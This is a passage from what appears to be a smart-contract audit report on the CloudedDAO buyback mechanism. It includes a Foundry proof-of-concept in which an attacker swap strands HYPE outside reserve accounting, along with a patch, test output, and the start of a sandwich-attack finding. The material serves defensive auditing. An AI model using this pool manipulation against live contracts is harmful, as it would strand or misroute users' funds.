        reserveHYPE      -= hype;
        reserveDAO       -= dao;

        _update(address(this), msg.sender, dao);
⋯ code omitted for brevity ⋯

Lines 273-308 — _Permissionless swaps can skew spot reserves feeding the next buyBack deviation check_ — _External HYPE-to-DAO swaps can depress the buyback's current DAO output._

    function swapHYPEForDAO(uint256 _minDaoOut, uint256 _deadline) external payable nonReentrant returns (uint256 daoOut) {
        require(block.timestamp <= _deadline, "Expired");
        require(msg.value > 0, "Zero input");

        uint256 _hypeInAfterFee = msg.value * FEE_NUM;
        daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
        require(daoOut >= _minDaoOut && daoOut > 0, "Slippage/zero output");

        _updateBuyBackOracle();

        reserveHYPE += msg.value;
        reserveDAO  -= daoOut;
        _update(address(this), msg.sender, daoOut);

        emit Swap(msg.sender, msg.value, 0, 0, daoOut, reserveHYPE, reserveDAO);
    }

    function swapDAOForHYPE(uint256 _daoIn, uint256 _minHypeOut, uint256 _deadline) external nonReentrant returns (uint256 hypeOut) {
        require(block.timestamp <= _deadline, "Expired");
        require(_daoIn > 0, "Zero input");

        uint256 _daoInAfterFee = _daoIn * FEE_NUM;
        hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
        require(hypeOut >= _minHypeOut && hypeOut > 0, "Slippage/zero output");

        _updateBuyBackOracle();

        reserveDAO  += _daoIn;
        reserveHYPE -= hypeOut;
        _update(msg.sender, address(this), _daoIn);

        (bool _success, ) = msg.sender.call{value: hypeOut}("");
        require(_success, "HYPE transfer failed");

        emit Swap(msg.sender, 0, _daoIn, hypeOut, 0, reserveHYPE, reserveDAO);
    }

Uploaded archive/CloudedJury.sol (2 locations)

Lines 248-266 — _Minting repeatedly routes protocol HYPE into the buyback path._ — _mint() forwards value to buyBack without checking execution_

    function mint(uint256 _amount) external payable nonReentrant {
        if (whitelisted && !whitelisted_[msg.sender]) revert Whitelisted();

        if (_amount == 0) revert ZeroAmount();

        uint256 _mintPrice = 3 * _amount * DECIMALS; // The price for minting an NFT is 3 $HYPE
        if (msg.value < _mintPrice) revert InsufficientPayment();

        for (uint256 i = 0; i < _amount; i++) {
            _mint(msg.sender, nextTokenId_);
            nextTokenId_++;
        }

        IDAO(DAO).buyBack{value: _amount * DECIMALS / 100}();

        uint256 _refund = msg.value - _mintPrice;
        if (_refund > 0) {
            (bool _success, ) = msg.sender.call{value: _refund}("");
            if (!_success) revert RefundFailed();
⋯ code omitted for brevity ⋯

Lines 576-582 — _slashed-stake value forwarded to buyBack without checking execution_

    function _sendSlashedTokenValueToDao(uint256 _marketId, uint256 _marketResolvedOutcomeId) private {
        (uint256 _slashedTokens, ) = _getSlashedAndRewardedTokens(_marketId, _marketResolvedOutcomeId);
        if (_slashedTokens > 0) {
            totalSupply_ -= _slashedTokens;
            IDAO(DAO).buyBack{value: _slashedTokens * 299 * DECIMALS / 100}();
            emit SendSlashedTokenToDAO(_marketId, _slashedTokens, _slashedTokens * 299 * DECIMALS / 100);
        }

Description

buyBack() credits every received msg.value to pendingHYPE before calculating the oracle-deviation-constrained _minDaoOut. When _daoOut is zero or below that floor, it only resets _daoOut to 0, returns normally, and leaves the received value in pendingHYPE rather than incorporating it into reserves or completing a burn. Minting and slashing flows forward HYPE through this path, so their upstream operations can complete even though the intended buyback has not executed. The pending balance is excluded from the reserve values used in LP position, pool, and liquidity-removal calculations. Permissionless swaps modify the reserves used to compute current output, enabling a trader to repeatedly create conditions under which the deviation check rejects a subsequently triggered buyback. The buyback path should make a rejected price check explicit—such as by reverting before retaining the value, refunding it, or providing a reliable processing/retry mechanism that cannot leave accepted funds indefinitely unaccounted for.

Root cause

buyBack() accepts value into pendingHYPE but treats a failed _daoOut >= _minDaoOut check as a silent no-op without refunding, reverting, or otherwise reliably processing the pending amount.

Impact

HYPE intended for DAO buyback and burn, including mint-derived fees and slashing proceeds, can accumulate without being burned while failed calls appear successful to their callers. The accumulated HYPE is not reflected in LP-facing reserve accounting or liquidity withdrawals, and repeated price movements can delay its processing for an unbounded period.

Proof of concept

Test case

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test} from "forge-std/Test.sol";
import {Clouded} from "../src/Clouded.sol";
import {CloudedDAO} from "../src/CloudedDAO.sol";
import {CloudedJury} from "../src/CloudedJury.sol";
import {CloudedManager} from "../src/CloudedManager.sol";

/// @dev Code is etched at CloudedManager's hard-coded governance-token address.
contract ManagerTokenMock {
    mapping(address => uint256) private balances;
    uint256 private supply;

    function configure(address holder, uint256 amount) external {
        supply = amount;
        balances[holder] = amount;
    }

    function balanceOf(address account) external view returns (uint256) {
        return balances[account];
    }

    function totalSupply() external view returns (uint256) {
        return supply;
    }
}

contract PocTest is Test {
    address internal constant GOVERNANCE_TOKEN = 0x668f6C73b2e6d023f758B18973065Ce2c11BDD7B;

    address internal admin = makeAddr("manager-admin");
    address internal creator = makeAddr("whitelisted-juror");
    address internal attacker = makeAddr("attacker");

    CloudedManager internal manager;
    CloudedJury internal jury;
    Clouded internal clouded;
    CloudedDAO internal dao;

    function setUp() public {
        ManagerTokenMock implementation = new ManagerTokenMock();
        vm.etch(GOVERNANCE_TOKEN, address(implementation).code);
        ManagerTokenMock(GOVERNANCE_TOKEN).configure(admin, 100 ether);

        manager = new CloudedManager();
        jury = new CloudedJury("Clouded Jury", "JURY", address(manager));
        clouded = new Clouded("ipfs://clouded/", address(manager), address(jury));
        dao = new CloudedDAO("Clouded DAO", "CDAO", address(jury), address(clouded));

        vm.startPrank(admin);
        manager.updateJuryAddrs(address(jury), address(clouded), address(dao));
        manager.updateCloudedAddr(address(clouded));
        manager.addToWhitelist(creator);
        vm.stopPrank();

        vm.deal(creator, 100 ether);
        vm.deal(attacker, 100 ether);
    }

    function test_rejectedBuybackFromMintSilentlyStrandsHypeOutsideReserveAccounting() public {
        // First ordinary juror mint initializes the DAO buyback AMM through the real
        // Jury -> DAO.buyBack path. With an empty pool, buyBack consumes all pending
        // HYPE into reserveHYPE/reserveDAO and mints matching DAO inventory.
        vm.prank(creator);
        jury.mint{value: 15 ether}(5);

        (uint256 bootReserveHype, uint256 bootReserveDao, uint256 bootTotalLp) = dao.getPool();
        assertGt(bootTotalLp, 0, "pool bootstrapped by mint-side buyback");
        assertEq(dao.pendingHYPE(), 0, "initial buyback was processed");
        assertEq(address(dao).balance, bootReserveHype, "no unaccounted HYPE before manipulation");

        // The swap entry point is permissionless. A HYPE->DAO swap in the same oracle
        // period raises reserveHYPE and drains reserveDAO, making the next buyback's
        // current DAO output fall below its TWAP-derived 20% deviation floor.
        uint256 attackerSwapIn = bootReserveHype * 20;
        vm.prank(attacker);
        uint256 daoOut = dao.swapHYPEForDAO{value: attackerSwapIn}(0, block.timestamp);
        assertGt(daoOut, 0, "attacker skewed the pool with a real swap");

        (uint256 reserveHypeAfterSwap, uint256 reserveDaoAfterSwap, uint256 totalLpAfterSwap) = dao.getPool();
        uint256 daoBalanceAfterSwap = address(dao).balance;
        uint256 pendingAfterSwap = dao.pendingHYPE();
        uint256 creatorNftsBefore = jury.balanceOf(creator);

        // This public mint forwards 0.01 HYPE to DAO.buyBack. The call does not
        // revert even though the deviation check rejects the burn branch; the juror
        // NFT is minted and the forwarded value remains in pendingHYPE.
        vm.prank(creator);
        jury.mint{value: 3 ether}(1);

        assertEq(jury.balanceOf(creator), creatorNftsBefore + 1, "upstream mint completed despite rejected buyback");
        assertEq(dao.pendingHYPE(), pendingAfterSwap + 0.01 ether, "forwarded HYPE was retained as pending");

        (uint256 reserveHypeAfterRejectedBuyback, uint256 reserveDaoAfterRejectedBuyback, uint256 totalLpAfterRejectedBuyback) = dao.getPool();
        assertEq(reserveHypeAfterRejectedBuyback, reserveHypeAfterSwap, "rejected buyback did not credit reserveHYPE");
        assertEq(reserveDaoAfterRejectedBuyback, reserveDaoAfterSwap, "rejected buyback did not burn DAO from reserves");
        assertEq(totalLpAfterRejectedBuyback, totalLpAfterSwap, "LP supply unchanged while HYPE was accepted");
        assertEq(address(dao).balance, daoBalanceAfterSwap + 0.01 ether, "DAO contract kept the forwarded HYPE");
        assertEq(address(dao).balance - reserveHypeAfterRejectedBuyback, dao.pendingHYPE(), "kept HYPE is outside reserve accounting");

        (uint256 quotedHypeForAllLp, ) = dao.quoteRemoveLiquidity(totalLpAfterRejectedBuyback);
        assertEq(quotedHypeForAllLp, reserveHypeAfterRejectedBuyback, "liquidity quote excludes pending HYPE");
        assertLt(quotedHypeForAllLp, address(dao).balance, "LP-facing reserve accounting cannot withdraw the stranded HYPE");
    }
}

Setup script

#!/bin/bash
set -e

# Standalone PoC reproduction. Run from the repository root of a checkout at
# the audited commit, with the language toolchain installed.

# Place the downloaded PoC files at these paths before running:
#   test/Poc.t.sol

# build and run
cp Clouded.sol CloudedDAO.sol CloudedJury.sol CloudedManager.sol src/ && forge build
forge test --match-path test/Poc.t.sol -vv

Output

[output truncated: 1178 lines & 64.447265625 KB skipped]
[test] forge test --match-path test/Poc.t.sol -vv
[test] exit code: 0

No files changed, compilation skipped

Ran 1 test for test/Poc.t.sol:PocTest
[PASS] test_rejectedBuybackFromMintSilentlyStrandsHypeOutsideReserveAccounting() (gas: 1016917)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.98ms (338.60µs CPU time)

Ran 1 test suite in 10.13ms (1.98ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Considerations

PoC covers the mint-derived buyback path and LP-facing reserve/quote exclusion using real deployed CloudedJury.mint(), CloudedDAO.swapHYPEForDAO(), CloudedDAO.buyBack(), getPool(), and quoteRemoveLiquidity() in Foundry. It does not additionally exercise the slashed-stake resolveMarket() forwarding path; that path shares the same DAO.buyBack sink but requires a longer market lifecycle setup.

Validation reasoning

PoC validation command completed successfully.

Remediation

Explanation

Revert with a dedicated error whenever a nonzero pending buyback has zero output or violates the oracle deviation floor. This makes rejection atomic, rolling back the pendingHYPE credit and the calling Jury operation so no accepted HYPE remains outside reserves; bootstrap calls with no remaining pending amount continue normally.

Patch

diff
diff --git a/CloudedDAO.sol b/CloudedDAO.sol
--- a/CloudedDAO.sol
+++ b/CloudedDAO.sol
@@ -1,362 +1,365 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IJury { function updateMarketStatus(uint256) external returns (uint8); }
 
 interface IClouded { function getOutcomeMarketId(uint256) external view returns (uint256); }
 
 contract CloudedDAO is ERC20, ReentrancyGuardTransient {
     using Ids for Ids.Set;
 
     event StakeToVote(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event Unstake(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event BuyBack(uint256 hypeReward, uint256 daoBurned, uint256 reserveHYPE, uint256 reserveDAO);
     event AddLiquidity(address indexed provider, uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event RemoveLiquidity(address indexed provider, uint256 lpRemoved, uint256 hype, uint256 dao, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event Swap(address indexed user, uint256 hypeIn, uint256 daoIn, uint256 hypeOut, uint256 daoOut, uint256 reserveHYPE, uint256 reserveDAO);
 
     address public immutable JURY;
     address public immutable CLOUDED;
     uint256 constant DECIMALS = 1e18;
     uint256 private constant FEE_NUM = 997;
     uint256 private constant FEE_DEN = 1000;
 
     uint256 private constant BPS_DEN = 10000;
     uint256 private constant MAX_BUYBACK_DEVIATION_BPS = 2000;
     uint256 private constant ORACLE_PERIOD = 30 minutes;
 
     uint256 private priceCumulative_;
     uint256 private priceUpdatedAt_;
     uint256 private oraclePrice_;
     uint256 private oracleCumulative_;
     uint256 private oracleUpdatedAt_;
 
     mapping(uint256 => uint256) public  outcomeVotes;
     mapping(address => Ids.Set) private voterActiveOutcomeIds_;
     mapping(address => mapping(uint256 => uint256)) private outcomeStakeOf_;
 
     uint256 public pendingHYPE;
     uint256 public reserveHYPE;
     uint256 public reserveDAO;
     uint256 public totalLP;
 
     mapping(address => uint256) public lpOf;
 
     modifier isJury() { require(msg.sender == JURY, "Not authorized"); _; }
 
     constructor(string memory _name, string memory _symbol, address _juryAddr, address _cloudedAddr) ERC20(_name, _symbol) {
         JURY = _juryAddr;
         CLOUDED = _cloudedAddr;
     }
 
     function getVoterActiveOutcomeIds(address _voterAddr) external view returns (uint256[] memory) { return voterActiveOutcomeIds_[_voterAddr].getAll(); }
 
     function getVoterOutcomeVotes(address _voterAddr, uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeStakeOf_[_voterAddr][_outcomeIds[i]]; }
     }
 
     function getOutcomeVoteInBatch(uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeVotes[_outcomeIds[i]]; }
     }
 
     function getPool() external view returns (uint256, uint256, uint256) { return (reserveHYPE, reserveDAO, totalLP); }
 
     function getUserPosition(address _addr) external view returns (uint256 hypeBalance, uint256 daoBalance, uint256 lp, uint256 poolShareBPS, uint256 poolHYPE, uint256 poolDAO) {
         hypeBalance = address(_addr).balance;
         daoBalance  = balanceOf(_addr);
         lp          = lpOf[_addr];
         if (totalLP > 0 && lp > 0) {
             poolShareBPS = lp * 10000 / totalLP;
             poolHYPE     = lp * reserveHYPE / totalLP;
             poolDAO      = lp * reserveDAO  / totalLP;
         }
     }
 
     function quoteAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) external view returns (uint256 lp, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         require(_hypeAmount > 0 || _daoAmount > 0, "Input amount");
 
         if (totalLP == 0) require(_hypeAmount > 0 && _daoAmount > 0, "Add both tokens to initiate pool");
 
         if (_hypeAmount > 0 && _daoAmount == 0) { _daoAmount  = _hypeAmount * reserveDAO  / reserveHYPE; }
         if (_daoAmount > 0 && _hypeAmount == 0) { _hypeAmount = _daoAmount  * reserveHYPE / reserveDAO; }
 
         (lp, hypeUsed, daoUsed, hypeRefund, daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
     }
 
     function quoteRemoveLiquidity(uint256 _lp) external view returns (uint256 hype, uint256 dao) {
         require(_lp != 0 && totalLP != 0, "No liquidity in the pool");
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO  / totalLP;
     }
 
     function quoteHYPEForDAO(uint256 _hypeIn, uint256 _slippageBPS) external view returns (uint256 daoOut, uint256 minDaoOut) {
         require(_hypeIn > 0, "Zero input");
 
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         minDaoOut = daoOut * (10000 - _slippageBPS) / 10000;
     }
 
     function quoteDAOForHYPE(uint256 _daoIn, uint256 _slippageBPS) external view returns (uint256 hypeOut, uint256 minHypeOut) {
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
 
         minHypeOut = hypeOut * (10000 - _slippageBPS) / 10000;
     }
 
     function mint(address _to, uint256 _amount) external nonReentrant isJury { _mint(_to, _amount); }
 
     function stakeToVote(uint256 _outcomeId, uint256 _amount) external nonReentrant {
         require(_amount > 0, "Amount must be greater than 0");
         require(balanceOf(msg.sender) >= _amount * DECIMALS, "Insufficient balance");
 
         uint256 _outcomeMarketId  = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         require(_outcomeMarketId != 0, "Invalid outcome id");
 
         uint8   _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         require(_status == 3, "Not voting window");
 
         outcomeStakeOf_[msg.sender][_outcomeId] += _amount;
         outcomeVotes[_outcomeId]                += _amount;
         voterActiveOutcomeIds_[msg.sender].add(_outcomeId);
         _update(msg.sender, address(this), _amount * DECIMALS);
 
         emit StakeToVote(msg.sender, _outcomeMarketId, _outcomeId, _amount, outcomeVotes[_outcomeId]);
     }
 
     function unstake(uint256 _outcomeId) external nonReentrant {
         require(outcomeStakeOf_[msg.sender][_outcomeId] > 0, "No token staked");
         uint256 _outcomeStakeOf = outcomeStakeOf_[msg.sender][_outcomeId];
         outcomeStakeOf_[msg.sender][_outcomeId] = 0;
 
         uint256 _outcomeMarketId = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         uint8 _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         if (_status == 3) outcomeVotes[_outcomeId] -= _outcomeStakeOf;
 
         voterActiveOutcomeIds_[msg.sender].remove(_outcomeId);
         _update(address(this), msg.sender, _outcomeStakeOf * DECIMALS);
 
         emit Unstake(msg.sender, _outcomeMarketId, _outcomeId, _outcomeStakeOf, outcomeVotes[_outcomeId]);
     }
 
     function buyBack() external payable nonReentrant isJury {
         pendingHYPE += msg.value;
 
         if (totalLP == 0) {
             uint256 _initialAmount = pendingHYPE;
             _mint(address(this), _initialAmount);
             pendingHYPE         -= _initialAmount;
             reserveHYPE         += _initialAmount;
             reserveDAO          += _initialAmount;
             totalLP             += _initialAmount;
             lpOf[address(this)] += _initialAmount;
             priceUpdatedAt_  = block.timestamp;
             oracleUpdatedAt_ = block.timestamp;
             oraclePrice_     = DECIMALS * reserveDAO / reserveHYPE;
         }
 
         _updateBuyBackOracle();
 
         uint256 _hypeIn = pendingHYPE;
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         uint256 _daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
 
         uint256 _oracleReserveDAO = reserveHYPE * oraclePrice_ / DECIMALS; //  // oraclePrice_ = oracleReserveDAO / reserveHYPE × DECIMALS
         uint256 _minDaoOut = _hypeInAfterFee * _oracleReserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         _minDaoOut = _minDaoOut * (BPS_DEN - MAX_BUYBACK_DEVIATION_BPS) / BPS_DEN;
 
-        if (_daoOut > 0 && _daoOut >= _minDaoOut) {
+        if (_hypeIn > 0 && (_daoOut == 0 || _daoOut < _minDaoOut)) revert BuyBackRejected();
+
+        if (_hypeIn > 0) {
             pendingHYPE -= _hypeIn;
             reserveHYPE += _hypeIn;
             reserveDAO  -= _daoOut;
             _burn(address(this), _daoOut);
         }
-        else _daoOut = 0;
 
         emit BuyBack(msg.value, _daoOut, reserveHYPE, reserveDAO);
     }
 
     function addLiquidity(uint256 _daoAmount, uint256 _minLpOut, uint256 _deadline) external payable nonReentrant returns (uint256 lpAdded) {
         require(block.timestamp <= _deadline, "Expired");
         require(balanceOf(msg.sender) >= _daoAmount, "Insufficient balance");
 
         uint256 _hypeAmount = msg.value;
         require(_hypeAmount > 0 && _daoAmount > 0, "Zero amount");
 
         uint256 _hypeUsed; uint256 _daoUsed; uint256 _hypeRefund; uint256 _daoRefund;
         (lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
         require(lpAdded > 0 && lpAdded >= _minLpOut, "Insufficient LP minted");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] += lpAdded;
         totalLP          += lpAdded;
         reserveHYPE      += _hypeUsed;
         reserveDAO       += _daoUsed;
 
         _update(msg.sender, address(this), _daoUsed);
 
         if (_hypeRefund > 0) {
             (bool _success, ) = msg.sender.call{value: _hypeRefund}("");
             require(_success, "Refund failed");
         }
 
         emit AddLiquidity(msg.sender, lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function removeLiquidity(uint256 _lp, uint256 _minHypeOut, uint256 _minDaoOut, uint256 _deadline) external nonReentrant returns (uint256 hype, uint256 dao) {
         require(lpOf[msg.sender] >= _lp && _lp > 0, "Insufficient LP");
         require(block.timestamp <= _deadline, "Expired");
 
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO / totalLP;
         require(hype > 0 && dao > 0, "Zero output");
         require(hype >= _minHypeOut && dao >= _minDaoOut, "Exceed slippage");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] -= _lp;
         totalLP          -= _lp;
         reserveHYPE      -= hype;
         reserveDAO       -= dao;
 
         _update(address(this), msg.sender, dao);
 
         (bool _success, ) = msg.sender.call{value: hype}("");
         require(_success, "HYPE transfer failed");
 
         emit RemoveLiquidity(msg.sender, _lp, hype, dao, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function swapHYPEForDAO(uint256 _minDaoOut, uint256 _deadline) external payable nonReentrant returns (uint256 daoOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(msg.value > 0, "Zero input");
 
         uint256 _hypeInAfterFee = msg.value * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         require(daoOut >= _minDaoOut && daoOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveHYPE += msg.value;
         reserveDAO  -= daoOut;
         _update(address(this), msg.sender, daoOut);
 
         emit Swap(msg.sender, msg.value, 0, 0, daoOut, reserveHYPE, reserveDAO);
     }
 
     function swapDAOForHYPE(uint256 _daoIn, uint256 _minHypeOut, uint256 _deadline) external nonReentrant returns (uint256 hypeOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
         require(hypeOut >= _minHypeOut && hypeOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveDAO  += _daoIn;
         reserveHYPE -= hypeOut;
         _update(msg.sender, address(this), _daoIn);
 
         (bool _success, ) = msg.sender.call{value: hypeOut}("");
         require(_success, "HYPE transfer failed");
 
         emit Swap(msg.sender, 0, _daoIn, hypeOut, 0, reserveHYPE, reserveDAO);
     }
 
     function _calculateAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) private view returns (uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         if (totalLP == 0) {
             uint256 _sqrtK = _sqrt(_hypeAmount * _daoAmount);
             hypeUsed = _hypeAmount;
             daoUsed  = _daoAmount;
             lpAdded  = _sqrtK;
         } else {
             uint256 _lpByHype = _hypeAmount * totalLP / reserveHYPE;
             uint256 _lpByDAO  = _daoAmount  * totalLP / reserveDAO;
             lpAdded = _lpByHype < _lpByDAO ? _lpByHype : _lpByDAO;
             if (_lpByHype < _lpByDAO) {
                 hypeUsed  = _hypeAmount;
                 daoUsed   = _hypeAmount * reserveDAO / reserveHYPE;
                 daoRefund = _daoAmount - daoUsed;
             } else if (_lpByDAO < _lpByHype) {
                 daoUsed    = _daoAmount;
                 hypeUsed   = _daoAmount * reserveHYPE / reserveDAO;
                 hypeRefund = _hypeAmount - hypeUsed;
             } else {
                 hypeUsed = _hypeAmount;
                 daoUsed  = _daoAmount;
             }
             require(hypeUsed > 0 && daoUsed > 0, "Insufficient liquidity");
         }
     }
 
     function _sqrt(uint256 y) private pure returns (uint256 z) {
         if (y > 3) {
             z = y;
             uint256 x = y / 2 + 1;
             while (x < z) { z = x; x = (y / x + x) / 2; }
         } else if (y != 0) z = 1;
     }
 
     function _updateBuyBackOracle() private {
         if (totalLP == 0) return;
 
         uint256 _timestamp = block.timestamp;
 
         uint256 _priceElapsed = _timestamp - priceUpdatedAt_;
         if (_priceElapsed > 0) {
             priceCumulative_ += (reserveDAO * DECIMALS / reserveHYPE) * _priceElapsed;
             priceUpdatedAt_   = _timestamp;
         }
 
         uint256 _oracleElapsed = _timestamp - oracleUpdatedAt_;
         if (_oracleElapsed >= ORACLE_PERIOD) {
             oraclePrice_      = (priceCumulative_ - oracleCumulative_) / _oracleElapsed;
             oracleCumulative_ = priceCumulative_;
             oracleUpdatedAt_  = _timestamp;
         }
     }
+
+    error BuyBackRejected();
 }
\ No newline at end of file

Affected files

  • CloudedDAO.sol

Validation output

[output truncated: 1181 lines & 64.7392578125 KB skipped]
Ran 1 test suite in 10.12ms (1.99ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/Poc.t.sol:PocTest
[FAIL: BuyBackRejected()] test_rejectedBuybackFromMintSilentlyStrandsHypeOutsideReserveAccounting() (gas: 991014)

Encountered a total of 1 failing tests, 0 tests succeeded

Tip: Run `forge test --rerun` to retry only the 1 failed test
Tip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger

Stale one-sided oracle guard enables buyback sandwiches

High#298787Validity: Unreviewed

Comment:

The TWAP guard, slippage tolerance, and 0.3% swap fee on each leg collectively reduce the practical threat of a sandwich attack.

Source locations

Uploaded archive/CloudedDAO.sol (3 locations)

Lines 184-219 — _Buyback swap executed against live reserves guarded only by wide-band stale TWAP_ — _Buyback uses current spot reserves and accepts output when it is at least 80% of the oracle-derived minimum._

    function buyBack() external payable nonReentrant isJury {
        pendingHYPE += msg.value;

        if (totalLP == 0) {
            uint256 _initialAmount = pendingHYPE;
            _mint(address(this), _initialAmount);
            pendingHYPE         -= _initialAmount;
            reserveHYPE         += _initialAmount;
            reserveDAO          += _initialAmount;
            totalLP             += _initialAmount;
            lpOf[address(this)] += _initialAmount;
            priceUpdatedAt_  = block.timestamp;
            oracleUpdatedAt_ = block.timestamp;
            oraclePrice_     = DECIMALS * reserveDAO / reserveHYPE;
        }

        _updateBuyBackOracle();

        uint256 _hypeIn = pendingHYPE;
        uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
        uint256 _daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);

        uint256 _oracleReserveDAO = reserveHYPE * oraclePrice_ / DECIMALS; //  // oraclePrice_ = oracleReserveDAO / reserveHYPE × DECIMALS
        uint256 _minDaoOut = _hypeInAfterFee * _oracleReserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
        _minDaoOut = _minDaoOut * (BPS_DEN - MAX_BUYBACK_DEVIATION_BPS) / BPS_DEN;

        if (_daoOut > 0 && _daoOut >= _minDaoOut) {
            pendingHYPE -= _hypeIn;
            reserveHYPE += _hypeIn;
            reserveDAO  -= _daoOut;
            _burn(address(this), _daoOut);
        }
        else _daoOut = 0;

        emit BuyBack(msg.value, _daoOut, reserveHYPE, reserveDAO);
    }
⋯ code omitted for brevity ⋯

Lines 273-307 — _Permissionless swaps mutate the reserves before and after the buyback and provide the front-run/back-run legs._

    function swapHYPEForDAO(uint256 _minDaoOut, uint256 _deadline) external payable nonReentrant returns (uint256 daoOut) {
        require(block.timestamp <= _deadline, "Expired");
        require(msg.value > 0, "Zero input");

        uint256 _hypeInAfterFee = msg.value * FEE_NUM;
        daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
        require(daoOut >= _minDaoOut && daoOut > 0, "Slippage/zero output");

        _updateBuyBackOracle();

        reserveHYPE += msg.value;
        reserveDAO  -= daoOut;
        _update(address(this), msg.sender, daoOut);

        emit Swap(msg.sender, msg.value, 0, 0, daoOut, reserveHYPE, reserveDAO);
    }

    function swapDAOForHYPE(uint256 _daoIn, uint256 _minHypeOut, uint256 _deadline) external nonReentrant returns (uint256 hypeOut) {
        require(block.timestamp <= _deadline, "Expired");
        require(_daoIn > 0, "Zero input");

        uint256 _daoInAfterFee = _daoIn * FEE_NUM;
        hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
        require(hypeOut >= _minHypeOut && hypeOut > 0, "Slippage/zero output");

        _updateBuyBackOracle();

        reserveDAO  += _daoIn;
        reserveHYPE -= hypeOut;
        _update(msg.sender, address(this), _daoIn);

        (bool _success, ) = msg.sender.call{value: hypeOut}("");
        require(_success, "HYPE transfer failed");

        emit Swap(msg.sender, 0, _daoIn, hypeOut, 0, reserveHYPE, reserveDAO);
⋯ code omitted for brevity ⋯

